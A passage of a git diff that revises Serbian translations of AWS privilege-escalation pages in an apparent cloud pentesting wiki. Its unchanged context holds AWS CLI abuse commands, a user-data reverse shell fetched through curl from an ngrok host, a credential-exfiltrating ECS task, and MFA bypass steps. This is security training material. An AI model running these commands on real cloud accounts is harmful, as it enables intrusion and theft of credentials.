--allow-unauthenticated-identities --allow-classic-flow ``` -**Potencijalni uticaj**: Kompromitovanje konfigurisanog autentifikovanog IAM naloga unutar identitetskog bazena. +**Potencijalni uticaj**: Kompromitovanje konfigurisane autentifikovane IAM uloge unutar identitetskog bazena. ### `cognito-idp:AdminAddUserToGroup` -Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM nalozima**: +Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM ulogama**: ```bash aws cognito-idp admin-add-user-to-group \ --user-pool-id \ --username \ --group-name ``` -**Potencijalni Uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool Grupama. +**Potencijalni uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool grupama. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Providera** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama: +Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` @@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ --username ``` -**Potencijalni uticaj:** Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga. +**Potencijalni uticaj:** Indirektni privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga. ### `cognito-idp:AdminCreateUser` @@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**Potencijalni uticaj:** Direktni privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. +**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. ### `cognito-idp:AdminEnableUser` @@ -125,7 +125,7 @@ aws cognito-idp admin-enable-user \ ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -Ova dozvola omogućava prijavu putem [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link. +Ova dozvola omogućava prijavu sa [**metodom ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link. ### `cognito-idp:AdminSetUserPassword` @@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \ --username \ --mfa-options ``` -**SetUserMFAPreference:** Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita. +**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita. ```bash aws cognito-idp admin-set-user-mfa-preference \ [--sms-mfa-settings ] \ @@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Proverite cli ovde](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, ovo bi moglo omogućiti zaobilaženje MFA zaštite. +**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, što bi moglo omogućiti zaobilaženje MFA zaštite. ### `cognito-idp:AdminUpdateUserAttributes` -Napadač sa ovom dozvolom mogao bi promeniti email ili broj telefona ili bilo koju drugu atributu korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\ +Napadač sa ovom dozvolom mogao bi da promeni email ili broj telefona ili bilo koju drugu atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\ Ovo omogućava promenu emaila ili broja telefona i postavljanje kao verifikovanog. ```bash aws cognito-idp admin-update-user-attributes \ @@ -178,15 +178,15 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji daje privilegije na osnovu atributa korisnika. +**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koja dodeljuje privilegije na osnovu atributa korisnika. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Napadač sa ovom dozvolom može **napraviti novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent može dozvoliti bilo koju vrstu metode za autentifikaciju, nemati nikakvu tajnu, imati onemogućenu revokaciju tokena, dozvoliti tokenima da budu validni duži period... +Napadač sa ovom dozvolom mogao bi **da kreira novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent bi mogao da dozvoli bilo koju vrstu metode za autentifikaciju, da nema nikakvu tajnu, da ima onemogućenu revokaciju tokena, da dozvoli tokenima da budu validni duži period... Isto se može uraditi ako se umesto kreiranja novog klijenta, **izmenjuje postojeći**. -U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**ažuriranoj**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to! +U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**za ažuriranje**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to!. ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ @@ -214,9 +214,9 @@ aws cognito-idp start-user-import-job \ curl -v -T "PATH_TO_CSV_FILE" \ -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` -(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna dozvola iam passrole, još nisam testirao). +(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna iam passrole dozvola, još nisam testirao). -**Potencijalni uticaj:** Direktno privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. +**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` @@ -239,11 +239,11 @@ Ovo je veoma uobičajena dozvola po defaultu u ulogama Cognito Identity Pools. Ova dozvola omogućava čitanje informacija o korišćenju Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\ Identity IDs mogu imati [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) dodeljene njima, koje su informacije o sesijama (AWS to definiše kao **sačuvanu igru**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali je verovatnoća prilično niska). Možete pronaći na [**stranici za enumeraciju**](../aws-services/aws-cognito-enum/) kako da pristupite ovim informacijama. -Napadač bi takođe mogao koristiti ove dozvole da **upisuje sebe u Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće. +Napadač bi takođe mogao koristiti ove dozvole da **prijavi sebe na Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće. ### Automatski Alati -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilegiju eskalacije na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikovanih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd. Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 98a1fab50..cf0af636d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -61,7 +61,7 @@ aws datapipeline put-pipeline-definition --pipeline-id \ **Potencijalni uticaj:** Direktno privesc na ec2 servisnu ulogu koja je navedena. -## References +## Reference - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 7e2ba10d4..903a82800 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -4,7 +4,7 @@ ## Directory Services -Za više informacija o uslugama direktorijuma pogledajte: +Za više informacija o uslugama direktorijuma, proverite: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -23,7 +23,7 @@ Moguće je omogućiti **URL za pristup aplikaciji** koji korisnici iz AD mogu ko
-A zatim **dodeliti im AWS IAM ulogu** za kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli: +I zatim **dodeliti im AWS IAM ulogu** za vreme kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli:
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index c9a37c55f..681d2beb2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ Za više informacija o dynamodb proverite: ### Post Exploitation -Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**: +Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabele** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 76528f750..5a1d8cf1a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -14,7 +14,7 @@ Napadač sa ovim dozvolama će moći potencijalno **da preuzme i analizira snimk Druge dozvole mogu biti takođe korisne kao što su: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) vrši ovaj napad da **izvuče lozinke iz kontrolera domena**. +Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) izvodi ovaj napad da **izvuče lozinke iz kontrolera domena**. **Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u snimku (možete čak dobiti Active Directory lozinke). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 2374ca318..43d3fe5bf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ Za više **informacija o EC2** proverite: ### `iam:PassRole`, `ec2:RunInstances` -Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da ukrade kredencijale IAM uloge sa krajnje tačke metapodataka. +Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da bi ukrao kredencijale IAM uloge sa metadata endpoint-a. - **Pristup preko SSH** -Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi možda će vam biti potrebna dozvola `ec2:CreateKeyPair`). +Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi, možda će vam biti potrebna dozvola `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Pristup putem rev shell-a u korisničkim podacima** -Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate bezbednosnu grupu. +Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate sigurnosnu grupu. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. Može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije objašnjeno), i **povezati profil instance** sa kompromitovanom i**nstancom:** +Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. On može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije diskutovano), i **povezati profil instance** sa kompromitovanom **instancom:** - Ako instanca **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i imate dodatne dozvole ili specifičan status profila instanci). +**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Sa ovim dozvolama moguće je promeniti profil instanci povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga profila instanci menjajući onaj koji je povezan sa njom. +Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga instance profila menjajući onaj koji je povezan sa njom. -- Ako **ima profil instanci**, možete **ukloniti** profil instanci (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \* +- Ako **ima instance profil**, možete **ukloniti** instance profil (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= \ @@ -91,7 +91,7 @@ aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name ### `ecr:PutRegistryPolicy` -Napadač sa ovom dozvolom mogao bi **promeniti** **politiku repozitorijuma** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**. +Napadač sa ovom dozvolom mogao bi **promeniti** **politiku registra** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**. ```bash aws ecr set-repository-policy \ --repository-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index fc73ff6a9..3bc02a288 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Više **informacija o ECS** u: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti ga**. +Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti je kreiranjem nove usluge sa najmanje 1 zadatkom koji se izvršava.** +Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti je kreiranjem nove usluge sa najmanje 1 aktivnim zadatkom.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -98,7 +98,7 @@ aws ecs run-task \ Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\ Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljni kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\ -Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**odeljku Privesc na čvor**](aws-ecs-privesc.md#privesc-to-node)). +Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**Privesc na čvor sekciji**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] > Ovaj napad je moguć samo ako **ECS klaster koristi EC2** instance, a ne Fargate. @@ -144,8 +144,8 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebna su prava za opis jer je neophodno pokrenuti `aws ecs execute-command`).\ -Međutim, da bi to uradio, instanca kontejnera mora da pokreće **ExecuteCommand agent** (što po defaultu nije slučaj). +Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\ +Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj). Stoga, napadač može pokušati da: @@ -194,12 +194,12 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci pokreću na mašinama koje kontroliše napadač?? +TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci izvršavaju na mašinama koje kontroliše napadač?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Testirajte ovo +> TODO: Testirati ovo Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati zloćudni set zadataka za postojeći ECS servis i ažurirati primarni set zadataka**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index a66863140..1fb207acc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -14,7 +14,7 @@ Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** njemu, ili samo **izbrisati** tako da se **default pristup** dodeli. +Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** ili jednostavno **izbrisati** tako da se **default pristup** odobri. Da biste izbrisali politiku: ```bash @@ -60,18 +60,18 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` Dodatne dozvole `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar datotečnog sistema nakon što je montiran i za **pristup** tom datotečnom sistemu **kao root**. -**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u datotečnom sistemu. +**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u datotečnom sistemu. ### `elasticfilesystem:CreateMountTarget` -Ako je napadač unutar **podmreže** gde **nema mount target** EFS-a. On bi mogao jednostavno **da kreira jedan u svojoj podmreži** sa ovom privilegijom: +Ako je napadač unutar **podmreže** gde **ne postoji montažna tačka** EFS-a. On bi mogao jednostavno **da kreira jednu u svojoj podmreži** sa ovom privilegijom: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` -**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u fajl sistemu. +**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` @@ -81,6 +81,6 @@ aws efs modify-mount-target-security-groups \ --mount-target-id \ --security-groups ``` -**Potencijalni uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu. +**Potencijalni Uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 7509d0551..eea879c6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -30,7 +30,7 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još mnogo toga... Pomenute, plus nekoliko **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule. @@ -48,7 +48,7 @@ Ako je okruženje već kreirano i **ne želite da kreirate novo**, možete jedno ```python zip -r MyApp.zip . ``` -- Učitajte ZIP datoteku u S3 kantu: +- Otvorite ZIP datoteku u S3 kofu: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a tako da **žrtva može da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**): +Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a kako bi **žrtva mogla da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 4f630f03e..68cda0fb2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -13,7 +13,7 @@ Više **informacija o EMR** u: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Napadač sa ovim dozvolama može **pokrenuti novi EMR klaster povezujući EC2 uloge** i pokušati da ukrade njegove akreditive.\ -Imajte na umu da bi za to trebalo da **znate neki ssh privatni ključ uvezen u nalog** ili da uvezete jedan, i da možete da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`). +Imajte na umu da je za to potrebno **znati neki ssh privatni ključ uvezen u nalog** ili uvesti jedan, i biti u mogućnosti da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,13 +36,13 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika omogućava 